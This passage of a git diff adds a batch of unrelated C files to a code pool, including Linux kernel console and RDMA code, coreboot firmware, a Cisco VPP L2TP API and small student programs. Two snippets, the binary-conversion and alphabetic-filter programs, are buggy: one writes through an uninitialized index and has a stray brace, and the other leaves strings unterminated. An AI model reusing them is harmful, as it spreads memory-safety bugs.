((platform.model = alpha_dsr_sysname()) == NULL) { + variation = hwrpb->rpb_variation & SV_ST_MASK; + if ((platform.model = alpha_variation_name(variation, + dec_kn8ae_variations)) == NULL) + platform.model = alpha_unknown_sysname(); + } + + platform.iobus = "tlsb"; + platform.cons_init = dec_kn8ae_cons_init; +} + +/* + * dec_kn8ae_cons_init- not needed right now. XXX hack in SimOS console + * + * Info to retain: + * + * The AXP 8X00 seems to encode the + * type of console in the ctb_type field, + * not the ctb_term_type field. + */ +static void +dec_kn8ae_cons_init(void) +{ +#ifdef SIMOS + zs_cnattach(TLSB_GBUS_BASE, GBUS_DUART0_OFFSET); +#endif +} diff --git a/pool/shard011/C/0141701_fbcon_rotate.c b/pool/shard011/C/0141701_fbcon_rotate.c new file mode 100644 index 0000000000000000000000000000000000000000..00884e013f0f2713591bad338b978ac37713b5cf --- /dev/null +++ b/pool/shard011/C/0141701_fbcon_rotate.c @@ -0,0 +1,115 @@ +/* + * linux/drivers/video/console/fbcon_rotate.c -- Software Rotation + * + * Copyright (C) 2005 Antonino Daplas + * + * This file is subject to the terms and conditions of the GNU General Public + * License. See the file COPYING in the main directory of this archive for + * more details. + */ + +#include +#include +#include +#include +#include +#include +#include "fbcon.h" +#include "fbcon_rotate.h" + +static int fbcon_rotate_font(struct fb_info *info, struct vc_data *vc) +{ + struct fbcon_ops *ops = info->fbcon_par; + int len, err = 0; + int s_cellsize, d_cellsize, i; + const u8 *src; + u8 *dst; + + if (vc->vc_font.data == ops->fontdata && + ops->p->con_rotate == ops->cur_rotate) + goto finished; + + src = ops->fontdata = vc->vc_font.data; + ops->cur_rotate = ops->p->con_rotate; + len = (!ops->p->userfont) ? 256 : FNTCHARCNT(src); + s_cellsize = ((vc->vc_font.width + 7)/8) * + vc->vc_font.height; + d_cellsize = s_cellsize; + + if (ops->rotate == FB_ROTATE_CW || + ops->rotate == FB_ROTATE_CCW) + d_cellsize = ((vc->vc_font.height + 7)/8) * + vc->vc_font.width; + + if (info->fbops->fb_sync) + info->fbops->fb_sync(info); + + if (ops->fd_size < d_cellsize * len) { + dst = kmalloc(d_cellsize * len, GFP_KERNEL); + + if (dst == NULL) { + err = -ENOMEM; + goto finished; + } + + ops->fd_size = d_cellsize * len; + kfree(ops->fontbuffer); + ops->fontbuffer = dst; + } + + dst = ops->fontbuffer; + memset(dst, 0, ops->fd_size); + + switch (ops->rotate) { + case FB_ROTATE_UD: + for (i = len; i--; ) { + rotate_ud(src, dst, vc->vc_font.width, + vc->vc_font.height); + + src += s_cellsize; + dst += d_cellsize; + } + break; + case FB_ROTATE_CW: + for (i = len; i--; ) { + rotate_cw(src, dst, vc->vc_font.width, + vc->vc_font.height); + src += s_cellsize; + dst += d_cellsize; + } + break; + case FB_ROTATE_CCW: + for (i = len; i--; ) { + rotate_ccw(src, dst, vc->vc_font.width, + vc->vc_font.height); + src += s_cellsize; + dst += d_cellsize; + } + break; + } + +finished: + return err; +} + +void fbcon_set_rotate(struct fbcon_ops *ops) +{ + ops->rotate_font = fbcon_rotate_font; + + switch(ops->rotate) { + case FB_ROTATE_CW: + fbcon_rotate_cw(ops); + break; + case FB_ROTATE_UD: + fbcon_rotate_ud(ops); + break; + case FB_ROTATE_CCW: + fbcon_rotate_ccw(ops); + break; + } +} +EXPORT_SYMBOL(fbcon_set_rotate); + +MODULE_AUTHOR("Antonino Daplas "); +MODULE_DESCRIPTION("Console Rotation Support"); +MODULE_LICENSE("GPL"); diff --git a/pool/shard011/C/0141702_keyqueue.c b/pool/shard011/C/0141702_keyqueue.c new file mode 100644 index 0000000000000000000000000000000000000000..4d21d4e590fcfae3dffa34eabc7d1a46ecdbae1e --- /dev/null +++ b/pool/shard011/C/0141702_keyqueue.c @@ -0,0 +1,146 @@ +#include +#include +#include "keyqueue.h" +#include "sha.h" +#include + + +#define TRUE 1 +#define FALSE 0 + + +Queue *ConstructQueue(int limit); +void DestructQueue(Queue *queue); +int Enqueue(Queue *pQueue, KEY *item); +KEY *Dequeue(Queue *pQueue); +int isEmpty(Queue* pQueue); + +Queue *ConstructQueue(int limit) { + Queue *queue = (Queue*) malloc(sizeof (Queue)); + if (queue == NULL) { + return NULL; + } + if (limit <= 0) { + limit = 65535; + } + queue->limit = limit; + queue->size = 0; + queue->head = NULL; + queue->tail = NULL; + + return queue; +} + +KEY *CopyKey(KEY *k) { + KEY *key = (KEY*) malloc(sizeof (KEY)); + if (key == NULL) { + return NULL; + } + memcpy(key, k, sizeof (KEY)); + return key; +} + +KEY *ConstructKey(uint8_t *buf) { + return ConstructKeyUsage(buf, 0); +} + +KEY *ConstructKeySha(uint8_t *buf, uint8_t *sha) { + return ConstructKeyShaUsage(buf, sha, 0); +} + +KEY *ConstructKeyUsage(uint8_t *buf, uint16_t usage) { + KEY *key = (KEY*) malloc(sizeof (KEY)); + if (key == NULL) { + return NULL; + } + key->usage = usage; + memcpy(key->key, buf, 32); + sha256(key->key, 32, key->sha, 32); + return key; +} + +KEY *ConstructKeyShaUsage(uint8_t *buf, uint8_t *sha, uint16_t usage) { + KEY *key = (KEY*) malloc(sizeof (KEY)); + if (key == NULL) { + return NULL; + } + key->usage = usage; + memcpy(key->key, buf, 32); + memcpy(key->sha, sha, 32); + return key; +} + +void PrintKey(KEY *k) { + printf("<-KEY->\n"); + int i; + printf("KEY->\n"); + for (i = 0; i < 32; i++) { + //if (i > 0) printf(":"); + printf("%02X", k->key[i]); + } + printf("\n"); + printf("SHA->\n"); + for (i = 0; i < 32; i++) { + //if (i > 0) printf(":"); + printf("%02X", k->sha[i]); + } + printf("\n"); + printf("Usage->\n"); + printf("%d\n", k->usage); + printf("<-KEY->\n"); +} + +void DestructQueue(Queue *queue) { + KEY *pN; + while (!isEmpty(queue)) { + pN = Dequeue(queue); + free(pN); + } + free(queue); +} + +int Enqueue(Queue *pQueue, KEY *item) { + /* Bad parameter */ + if ((pQueue == NULL) || (item == NULL)) { + return FALSE; + } + // if(pQueue->limit != 0) + if (pQueue->size >= pQueue->limit) { + return FALSE; + } + /*the queue is empty*/ + item->prev = NULL; + if (pQueue->size == 0) { + pQueue->head = item; + pQueue->tail = item; + + } else { + /*adding item to the end of the queue*/ + pQueue->tail->prev = item; + pQueue->tail = item; + } + pQueue->size++; + return TRUE; +} + +KEY * Dequeue(Queue *pQueue) { + /*the queue is empty or bad param*/ + KEY *item; + if (isEmpty(pQueue)) + return NULL; + item = pQueue->head; + pQueue->head = (pQueue->head)->prev; + pQueue->size--; + return item; +} + +int isEmpty(Queue* pQueue) { + if (pQueue == NULL) { + return FALSE; + } + if (pQueue->size == 0) { + return TRUE; + } else { + return FALSE; + } +} diff --git a/pool/shard011/C/0141703_conversaobin.c b/pool/shard011/C/0141703_conversaobin.c new file mode 100644 index 0000000000000000000000000000000000000000..d19599d6df8887898301aad67e207630158ad4d0 --- /dev/null +++ b/pool/shard011/C/0141703_conversaobin.c @@ -0,0 +1,28 @@ +#include + +int main() +{ + int num; + int bin[10]; + int i, resto,j; + + printf("\n Entre com inteiro:"); + scanf("%d", &num); + + while(num != 0) + { + resto = num % 2; + bin[i] = resto; + i++; + num = num / 2; + } + for(j=i-1; j>=0; j--) + { + printf("%d", bin[j]); + } + printf("\n"); + + } + return 0; +} + \ No newline at end of file diff --git a/pool/shard011/C/0141704_oxpcie_early.c b/pool/shard011/C/0141704_oxpcie_early.c new file mode 100644 index 0000000000000000000000000000000000000000..d560513eb7eb6ac19f984b7cde23326ce2870dec --- /dev/null +++ b/pool/shard011/C/0141704_oxpcie_early.c @@ -0,0 +1,108 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2011 Google Inc + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#define __SIMPLE_DEVICE__ + +#include +#include +#include +#include +#include +#include +#include +#include + +static unsigned int oxpcie_present CAR_GLOBAL; +static ROMSTAGE_CONST u32 uart0_base = CONFIG_EARLY_PCI_MMIO_BASE + 0x1000; + +int pci_early_device_probe(u8 bus, u8 dev, u32 mmio_base) +{ + pci_devfn_t device = PCI_DEV(bus, dev, 0); + + u32 id = pci_read_config32(device, PCI_VENDOR_ID); + switch (id) { + case 0xc1181415: /* e.g. Startech PEX1S1PMINI function 0 */ + /* On this device function 0 is the parallel port, and + * function 3 is the serial port. So let's go look for + * the UART. + */ + device = PCI_DEV(bus, dev, 3); + id = pci_read_config32(device, PCI_VENDOR_ID); + if (id != 0xc11b1415) + return -1; + break; + case 0xc11b1415: /* e.g. Startech PEX1S1PMINI function 3 */ + case 0xc1581415: /* e.g. Startech MPEX2S952 */ + break; + default: + /* No UART here. */ + return -1; + } + + /* Sanity-check, we assume fixed location. */ + if (mmio_base != CONFIG_EARLY_PCI_MMIO_BASE) + return -1; + + /* Setup base address on device */ + pci_write_config32(device, PCI_BASE_ADDRESS_0, mmio_base); + + /* Enable memory on device */ + u16 reg16 = pci_read_config16(device, PCI_COMMAND); + reg16 |= PCI_COMMAND_MEMORY; + pci_write_config16(device, PCI_COMMAND, reg16); + + car_set_var(oxpcie_present, 1); + return 0; +} + +static int oxpcie_uart_active(void) +{ + return (car_get_var(oxpcie_present)); +} + +uintptr_t uart_platform_base(int idx) +{ + if ((idx >= 0) && (idx < 8) && oxpcie_uart_active()) + return uart0_base + idx * 0x200; + return 0; +} + +#ifndef __PRE_RAM__ +void oxford_remap(u32 new_base) +{ + uart0_base = new_base + 0x1000; +} + +void uart_fill_lb(void *data) +{ + struct lb_serial serial; + serial.type = LB_SERIAL_TYPE_MEMORY_MAPPED; + serial.baseaddr = uart_platform_base(CONFIG_UART_FOR_CONSOLE); + serial.baud = default_baudrate(); + serial.regwidth = 1; + lb_add_serial(&serial, data); + + lb_add_console(LB_TAG_CONSOLE_SERIAL8250MEM, data); +} +#endif + +unsigned int uart_platform_refclk(void) +{ + return 62500000; +} diff --git a/pool/shard011/C/0141705_fft_test.c b/pool/shard011/C/0141705_fft_test.c new file mode 100644 index 0000000000000000000000000000000000000000..ad90a4252b54b60326041ff58403383a77ac07df --- /dev/null +++ b/pool/shard011/C/0141705_fft_test.c @@ -0,0 +1,48 @@ +#include "fft.h" + +int main(){ + double data_x[size]; + double data_y[size]; + double img[size]; + double real[size]; + int i; + + //set up twiddles... + double twoPI = 6.28318530717959; + double typed; + int n, N; + N = size; + + //Pre-calc twiddles + for(n=0; n<(N>>1); n++){ + typed = (double)(twoPI*n/N); + real[n] = cos(typed); + img[n] = (-1.0)*sin(typed); + } + + //Init data + for(i=0; i < size; i++) { + data_x[i] = (double)(i); + data_y[i] = (double)(i); + } + + /* + printf("Input:\n"); + for(i=0; i < size; i++) { + printf("%f : %f\n", data_x[i], data_y[i]); + } + + printf("fft:\n"); + */ + + fft(data_x, data_y, real, img); + + printf("Output:\n"); + + + for(i=0; i < size; i++) { + printf("%.2f : %.2f\n", data_x[i], data_y[i]); + } + + return 0; +} diff --git a/pool/shard011/C/0141706_alphabetic.c b/pool/shard011/C/0141706_alphabetic.c new file mode 100644 index 0000000000000000000000000000000000000000..2a8f72b97f5b0aaba436ee476a56ffa3309a9716 --- /dev/null +++ b/pool/shard011/C/0141706_alphabetic.c @@ -0,0 +1,20 @@ +#include +#include +#include + +char *alphabetic (const char *s) { + // If string doesn't exist + if (!s) return NULL; + + char *p, *text = (char*)malloc(strlen(s)*sizeof(char)); // Max length + int counter = 0; + + for (p = s; *p; p++) { + if (isalpha(*p)) { // Only include if the character is an alphabet + *(text+counter) = *p; + counter++; + } + } + + return text; +} \ No newline at end of file diff --git a/pool/shard011/C/0141707_core_hal.c b/pool/shard011/C/0141707_core_hal.c new file mode 100644 index 0000000000000000000000000000000000000000..07968376ec400a3ad1408901b20363d747b21b34 --- /dev/null +++ b/pool/shard011/C/0141707_core_hal.c @@ -0,0 +1,120 @@ +/** + ****************************************************************************** + * @file core_hal.c + * @author Satish Nair, Matthew McGowan + * @version V1.0.0 + * @date 31-Oct-2014 + * @brief + ****************************************************************************** + Copyright (c) 2013-2015 Particle Industries, Inc. All rights reserved. + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation, either + version 3 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, see . + ****************************************************************************** + */ + +#include "core_hal.h" +#include "core_hal_stm32f2xx.h" +#include "wiced.h" +#include "wlan_internal.h" +#include + +/** + * Start of interrupt vector table. + */ +extern char link_interrupt_vectors_location; + +extern char link_ram_interrupt_vectors_location; +extern char link_ram_interrupt_vectors_location_end; + +const unsigned HardFaultIndex = 3; +const unsigned MemManageIndex = 4; +const unsigned BusFaultIndex = 5; +const unsigned UsageFaultIndex = 6; +const unsigned SysTickIndex = 15; +const unsigned USART1Index = 53; +const unsigned USART2Index = 54; +const unsigned ButtonExtiIndex = BUTTON1_EXTI_IRQ_INDEX; +const unsigned TIM7Index = 71; + +/** + * Updated by HAL_1Ms_Tick() + */ +volatile uint32_t TimingDelay; + +void HAL_Core_Config_systick_configuration(void) { + //SysTick_Configuration(); This causes the Photon to sometimes hang on startup. See FIRM-123. +} + +void HAL_Core_Setup_override_interrupts(void) { + + memcpy(&link_ram_interrupt_vectors_location, &link_interrupt_vectors_location, &link_ram_interrupt_vectors_location_end-&link_ram_interrupt_vectors_location); + uint32_t* isrs = (uint32_t*)&link_ram_interrupt_vectors_location; + isrs[HardFaultIndex] = (uint32_t)HardFault_Handler; + isrs[MemManageIndex] = (uint32_t)MemManage_Handler; + isrs[BusFaultIndex] = (uint32_t)BusFault_Handler; + isrs[UsageFaultIndex] = (uint32_t)UsageFault_Handler; + isrs[SysTickIndex] = (uint32_t)SysTickOverride; + isrs[USART1Index] = (uint32_t)HAL_USART1_Handler; + isrs[USART2Index] = (uint32_t)HAL_USART2_Handler; + isrs[ButtonExtiIndex] = (uint32_t)Mode_Button_EXTI_irq; + isrs[TIM7Index] = (uint32_t)TIM7_override; // WICED uses this for a JTAG watchdog handler + SCB->VTOR = (unsigned long)isrs; +} + + +/* Extern function prototypes ------------------------------------------------*/ +void HAL_Core_Init(void) +{ + wiced_core_init(); + wlan_initialize_dct(); +} + +void SysTickChain() +{ + void (*chain)(void) = (void (*)(void))((uint32_t*)&link_interrupt_vectors_location)[SysTickIndex]; + + chain(); + + SysTickOverride(); +} + +void HAL_1Ms_Tick() +{ + if (TimingDelay != 0x00) + { + __sync_sub_and_fetch(&TimingDelay, 1); + } +} + +void HAL_Core_Setup_finalize(void) +{ + // Now that main() has been executed, we can plug in the original WICED ISR in the + // ISR chain.) + uint32_t* isrs = (uint32_t*)&link_ram_interrupt_vectors_location; + isrs[SysTickIndex] = (uint32_t)SysTickChain; +} + +/** + * @brief This function handles EXTI2_IRQ or EXTI_9_5_IRQ Handler. + * @param None + * @retval None + */ +void Mode_Button_EXTI_irq(void) +{ + void (*chain)(void) = (void (*)(void))((uint32_t*)&link_interrupt_vectors_location)[ButtonExtiIndex]; + + Handle_Mode_Button_EXTI_irq(); + + chain(); +} diff --git a/pool/shard011/C/0141708_rxe_cq.c b/pool/shard011/C/0141708_rxe_cq.c new file mode 100644 index 0000000000000000000000000000000000000000..aef288f164fddde1ce2e2069e9078492fee27141 --- /dev/null +++ b/pool/shard011/C/0141708_rxe_cq.c @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: GPL-2.0 OR Linux-OpenIB +/* + * Copyright (c) 2016 Mellanox Technologies Ltd. All rights reserved. + * Copyright (c) 2015 System Fabric Works, Inc. All rights reserved. + */ +#include +#include "rxe.h" +#include "rxe_loc.h" +#include "rxe_queue.h" + +int rxe_cq_chk_attr(struct rxe_dev *rxe, struct rxe_cq *cq, + int cqe, int comp_vector) +{ + int count; + + if (cqe <= 0) { + pr_warn("cqe(%d) <= 0\n", cqe); + goto err1; + } + + if (cqe > rxe->attr.max_cqe) { + pr_warn("cqe(%d) > max_cqe(%d)\n", + cqe, rxe->attr.max_cqe); + goto err1; + } + + if (cq) { + if (cq->is_user) + count = queue_count(cq->queue, QUEUE_TYPE_TO_USER); + else + count = queue_count(cq->queue, QUEUE_TYPE_KERNEL); + + if (cqe < count) { + pr_warn("cqe(%d) < current # elements in queue (%d)", + cqe, count); + goto err1; + } + } + + return 0; + +err1: + return -EINVAL; +} + +static void rxe_send_complete(struct tasklet_struct *t) +{ + struct rxe_cq *cq = from_tasklet(cq, t, comp_task); + unsigned long flags; + + spin_lock_irqsave(&cq->cq_lock, flags); + if (cq->is_dying) { + spin_unlock_irqrestore(&cq->cq_lock, flags); + return; + } + spin_unlock_irqrestore(&cq->cq_lock, flags); + + cq->ibcq.comp_handler(&cq->ibcq, cq->ibcq.cq_context); +} + +int rxe_cq_from_init(struct rxe_dev *rxe, struct rxe_cq *cq, int cqe, + int comp_vector, struct ib_udata *udata, + struct rxe_create_cq_resp __user *uresp) +{ + int err; + enum queue_type type; + + type = uresp ? QUEUE_TYPE_TO_USER : QUEUE_TYPE_KERNEL; + cq->queue = rxe_queue_init(rxe, &cqe, + sizeof(struct rxe_cqe), type); + if (!cq->queue) { + pr_warn("unable to create cq\n"); + return -ENOMEM; + } + + err = do_mmap_info(rxe, uresp ? &uresp->mi : NULL, udata, + cq->queue->buf, cq->queue->buf_size, &cq->queue->ip); + if (err) { + vfree(cq->queue->buf); + kfree(cq->queue); + return err; + } + + if (uresp) + cq->is_user = 1; + + cq->is_dying = false; + + tasklet_setup(&cq->comp_task, rxe_send_complete); + + spin_lock_init(&cq->cq_lock); + cq->ibcq.cqe = cqe; + return 0; +} + +int rxe_cq_resize_queue(struct rxe_cq *cq, int cqe, + struct rxe_resize_cq_resp __user *uresp, + struct ib_udata *udata) +{ + int err; + + err = rxe_queue_resize(cq->queue, (unsigned int *)&cqe, + sizeof(struct rxe_cqe), udata, + uresp ? &uresp->mi : NULL, NULL, &cq->cq_lock); + if (!err) + cq->ibcq.cqe = cqe; + + return err; +} + +int rxe_cq_post(struct rxe_cq *cq, struct rxe_cqe *cqe, int solicited) +{ + struct ib_event ev; + unsigned long flags; + int full; + void *addr; + + spin_lock_irqsave(&cq->cq_lock, flags); + + if (cq->is_user) + full = queue_full(cq->queue, QUEUE_TYPE_TO_USER); + else + full = queue_full(cq->queue, QUEUE_TYPE_KERNEL); + + if (unlikely(full)) { + spin_unlock_irqrestore(&cq->cq_lock, flags); + if (cq->ibcq.event_handler) { + ev.device = cq->ibcq.device; + ev.element.cq = &cq->ibcq; + ev.event = IB_EVENT_CQ_ERR; + cq->ibcq.event_handler(&ev, cq->ibcq.cq_context); + } + + return -EBUSY; + } + + if (cq->is_user) + addr = producer_addr(cq->queue, QUEUE_TYPE_TO_USER); + else + addr = producer_addr(cq->queue, QUEUE_TYPE_KERNEL); + + memcpy(addr, cqe, sizeof(*cqe)); + + if (cq->is_user) + advance_producer(cq->queue, QUEUE_TYPE_TO_USER); + else + advance_producer(cq->queue, QUEUE_TYPE_KERNEL); + + spin_unlock_irqrestore(&cq->cq_lock, flags); + + if ((cq->notify == IB_CQ_NEXT_COMP) || + (cq->notify == IB_CQ_SOLICITED && solicited)) { + cq->notify = 0; + tasklet_schedule(&cq->comp_task); + } + + return 0; +} + +void rxe_cq_disable(struct rxe_cq *cq) +{ + unsigned long flags; + + spin_lock_irqsave(&cq->cq_lock, flags); + cq->is_dying = true; + spin_unlock_irqrestore(&cq->cq_lock, flags); +} + +void rxe_cq_cleanup(struct rxe_pool_entry *arg) +{ + struct rxe_cq *cq = container_of(arg, typeof(*cq), pelem); + + if (cq->queue) + rxe_queue_cleanup(cq->queue); +} diff --git a/pool/shard011/C/0141709_l2tp_api.c b/pool/shard011/C/0141709_l2tp_api.c new file mode 100644 index 0000000000000000000000000000000000000000..88d758c9ff0b811d7c71cd971a5c2607a7e1affd --- /dev/null +++ b/pool/shard011/C/0141709_l2tp_api.c @@ -0,0 +1,267 @@ +/* + *------------------------------------------------------------------ + * l2tp_api.c - l2tpv3 api + * + * Copyright (c) 2016 Cisco and/or its affiliates. + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + *------------------------------------------------------------------ + */ + +#include +#include + +#include +#include +#include + +#include + +#define vl_typedefs /* define message structures */ +#include +#undef vl_typedefs + +#define vl_endianfun /* define message structures */ +#include +#undef vl_endianfun + +/* instantiate all the print functions we know about */ +#define vl_print(handle, ...) vlib_cli_output (handle, __VA_ARGS__) +#define vl_printfun +#include +#undef vl_printfun + +#include + +#define foreach_vpe_api_msg \ +_(L2TPV3_CREATE_TUNNEL, l2tpv3_create_tunnel) \ +_(L2TPV3_SET_TUNNEL_COOKIES, l2tpv3_set_tunnel_cookies) \ +_(L2TPV3_INTERFACE_ENABLE_DISABLE, l2tpv3_interface_enable_disable) \ +_(L2TPV3_SET_LOOKUP_KEY, l2tpv3_set_lookup_key) \ +_(SW_IF_L2TPV3_TUNNEL_DUMP, sw_if_l2tpv3_tunnel_dump) + +static void +send_sw_if_l2tpv3_tunnel_details (vpe_api_main_t * am, + unix_shared_memory_queue_t * q, + l2t_session_t * s, + l2t_main_t * lm, u32 context) +{ + vl_api_sw_if_l2tpv3_tunnel_details_t *mp; + u8 *if_name = NULL; + vnet_sw_interface_t *si = NULL; + + si = vnet_get_hw_sw_interface (lm->vnet_main, s->hw_if_index); + + if_name = format (if_name, "%U", + format_vnet_sw_interface_name, lm->vnet_main, si); + + mp = vl_msg_api_alloc (sizeof (*mp)); + memset (mp, 0, sizeof (*mp)); + mp->_vl_msg_id = ntohs (VL_API_SW_IF_L2TPV3_TUNNEL_DETAILS); + strncpy ((char *) mp->interface_name, + (char *) if_name, ARRAY_LEN (mp->interface_name) - 1); + mp->sw_if_index = ntohl (si->sw_if_index); + mp->local_session_id = s->local_session_id; + mp->remote_session_id = s->remote_session_id; + mp->local_cookie[0] = s->local_cookie[0]; + mp->local_cookie[1] = s->local_cookie[1]; + mp->remote_cookie = s->remote_cookie; + clib_memcpy (mp->client_address, &s->client_address, + sizeof (s->client_address)); + clib_memcpy (mp->our_address, &s->our_address, sizeof (s->our_address)); + mp->l2_sublayer_present = s->l2_sublayer_present; + mp->context = context; + + vl_msg_api_send_shmem (q, (u8 *) & mp); +} + + +static void +vl_api_sw_if_l2tpv3_tunnel_dump_t_handler (vl_api_sw_if_l2tpv3_tunnel_dump_t * + mp) +{ + vpe_api_main_t *am = &vpe_api_main; + l2t_main_t *lm = &l2t_main; + unix_shared_memory_queue_t *q; + l2t_session_t *session; + + q = vl_api_client_index_to_input_queue (mp->client_index); + if (q == 0) + return; + + /* *INDENT-OFF* */ + pool_foreach (session, lm->sessions, + ({ + send_sw_if_l2tpv3_tunnel_details (am, q, session, lm, mp->context); + })); + /* *INDENT-ON* */ +} + +static void vl_api_l2tpv3_create_tunnel_t_handler + (vl_api_l2tpv3_create_tunnel_t * mp) +{ + vl_api_l2tpv3_create_tunnel_reply_t *rmp; + l2t_main_t *lm = &l2t_main; + u32 sw_if_index = (u32) ~ 0; + int rv; + + if (mp->is_ipv6 != 1) + { + rv = VNET_API_ERROR_UNIMPLEMENTED; + goto out; + } + + u32 encap_fib_index; + + if (mp->encap_vrf_id != ~0) + { + uword *p; + ip6_main_t *im = &ip6_main; + if (! + (p = + hash_get (im->fib_index_by_table_id, ntohl (mp->encap_vrf_id)))) + { + rv = VNET_API_ERROR_NO_SUCH_FIB; + goto out; + } + encap_fib_index = p[0]; + } + else + { + encap_fib_index = ~0; + } + + rv = create_l2tpv3_ipv6_tunnel (lm, + (ip6_address_t *) mp->client_address, + (ip6_address_t *) mp->our_address, + ntohl (mp->local_session_id), + ntohl (mp->remote_session_id), + clib_net_to_host_u64 (mp->local_cookie), + clib_net_to_host_u64 (mp->remote_cookie), + mp->l2_sublayer_present, + encap_fib_index, &sw_if_index); + +out: + /* *INDENT-OFF* */ + REPLY_MACRO2(VL_API_L2TPV3_CREATE_TUNNEL_REPLY, + ({ + rmp->sw_if_index = ntohl (sw_if_index); + })); + /* *INDENT-ON* */ +} + +static void vl_api_l2tpv3_set_tunnel_cookies_t_handler + (vl_api_l2tpv3_set_tunnel_cookies_t * mp) +{ + vl_api_l2tpv3_set_tunnel_cookies_reply_t *rmp; + l2t_main_t *lm = &l2t_main; + int rv; + + VALIDATE_SW_IF_INDEX (mp); + + rv = l2tpv3_set_tunnel_cookies (lm, ntohl (mp->sw_if_index), + clib_net_to_host_u64 (mp->new_local_cookie), + clib_net_to_host_u64 + (mp->new_remote_cookie)); + + BAD_SW_IF_INDEX_LABEL; + + REPLY_MACRO (VL_API_L2TPV3_SET_TUNNEL_COOKIES_REPLY); +} + +static void vl_api_l2tpv3_interface_enable_disable_t_handler + (vl_api_l2tpv3_interface_enable_disable_t * mp) +{ + int rv; + vnet_main_t *vnm = vnet_get_main (); + vl_api_l2tpv3_interface_enable_disable_reply_t *rmp; + + VALIDATE_SW_IF_INDEX (mp); + + rv = l2tpv3_interface_enable_disable + (vnm, ntohl (mp->sw_if_index), mp->enable_disable); + + BAD_SW_IF_INDEX_LABEL; + + REPLY_MACRO (VL_API_L2TPV3_INTERFACE_ENABLE_DISABLE_REPLY); +} + +static void vl_api_l2tpv3_set_lookup_key_t_handler + (vl_api_l2tpv3_set_lookup_key_t * mp) +{ + int rv = 0; + l2t_main_t *lm = &l2t_main; + vl_api_l2tpv3_set_lookup_key_reply_t *rmp; + + if (mp->key > L2T_LOOKUP_SESSION_ID) + { + rv = VNET_API_ERROR_INVALID_VALUE; + goto out; + } + + lm->lookup_type = mp->key; + +out: + REPLY_MACRO (VL_API_L2TPV3_SET_LOOKUP_KEY_REPLY); +} + +/* + * l2tp_api_hookup + * Add vpe's API message handlers to the table. + * vlib has alread mapped shared memory and + * added the client registration handlers. + * See .../vlib-api/vlibmemory/memclnt_vlib.c:memclnt_process() + */ +#define vl_msg_name_crc_list +#include +#undef vl_msg_name_crc_list + +static void +setup_message_id_table (api_main_t * am) +{ +#define _(id,n,crc) vl_msg_api_add_msg_name_crc (am, #n "_" #crc, id); + foreach_vl_msg_name_crc_l2tp; +#undef _ +} + +static clib_error_t * +l2tp_api_hookup (vlib_main_t * vm) +{ + api_main_t *am = &api_main; + +#define _(N,n) \ + vl_msg_api_set_handlers(VL_API_##N, #n, \ + vl_api_##n##_t_handler, \ + vl_noop_handler, \ + vl_api_##n##_t_endian, \ + vl_api_##n##_t_print, \ + sizeof(vl_api_##n##_t), 1); + foreach_vpe_api_msg; +#undef _ + + /* + * Set up the (msg_name, crc, message-id) table + */ + setup_message_id_table (am); + + return 0; +} + +VLIB_API_INIT_FUNCTION (l2tp_api_hookup); + +/* + * fd.io coding-style-patch-verification: ON + * + * Local Variables: + * eval: (c-set-style "gnu") + * End: + */ diff --git a/pool/shard011/C/0141710_mainboard.c b/pool/shard011/C/0141710_mainboard.c new file mode 100644 index 0000000000000000000000000000000000000000..e6a7c2e44a5ef62fedda3715065c3e56c40282a6 --- /dev/null +++ b/pool/shard011/C/0141710_mainboard.c @@ -0,0 +1,77 @@ +/* + * This file is part of the coreboot project. + * + * Copyright (C) 2011 - 2012 Advanced Micro Devices, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; version 2 of the License. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "chip.h" + +void set_pcie_dereset(void *nbconfig); +void set_pcie_reset(void *nbconfig); + +/** + * + */ +void set_pcie_reset(void *nbconfig) +{ +} + +/** + * Mainboard specific RD890 CIMx callback + * Release Resets to PCIe Links + * For Both SR56X0 chips, PCIE_RESET_GPIO1 to reset pcie + */ +void set_pcie_dereset(void *nbconfig) +{ + //u32 nb_dev = MAKE_SBDFO(0, 0x0, 0x0, 0x0, 0x0); + u32 i; + u32 val; + u32 nb_addr; + + val = 0x00000007UL; + AMD_NB_CONFIG_BLOCK *pConfig = (AMD_NB_CONFIG_BLOCK*)nbconfig; + for (i = 0; i < MAX_NB_COUNT; i ++) { + nb_addr = pConfig->Northbridges[i].NbPciAddress.AddressValue | NB_HTIU_INDEX; + LibNbPciIndexRMW(nb_addr, + NB_HTIU_REGA8, + AccessS3SaveWidth32, + ~val, + val, + &(pConfig->Northbridges[i])); + } +} + + +/************************************************* + * enable the dedicated function in s8226 board. + *************************************************/ +static void mainboard_enable(device_t dev) +{ + printk(BIOS_INFO, "Mainboard " CONFIG_MAINBOARD_PART_NUMBER " Enable.\n"); +} + +struct chip_operations mainboard_ops = { + .enable_dev = mainboard_enable, +}; diff --git a/pool/shard011/C/0141711_gsl_sf_conicalP_0.c 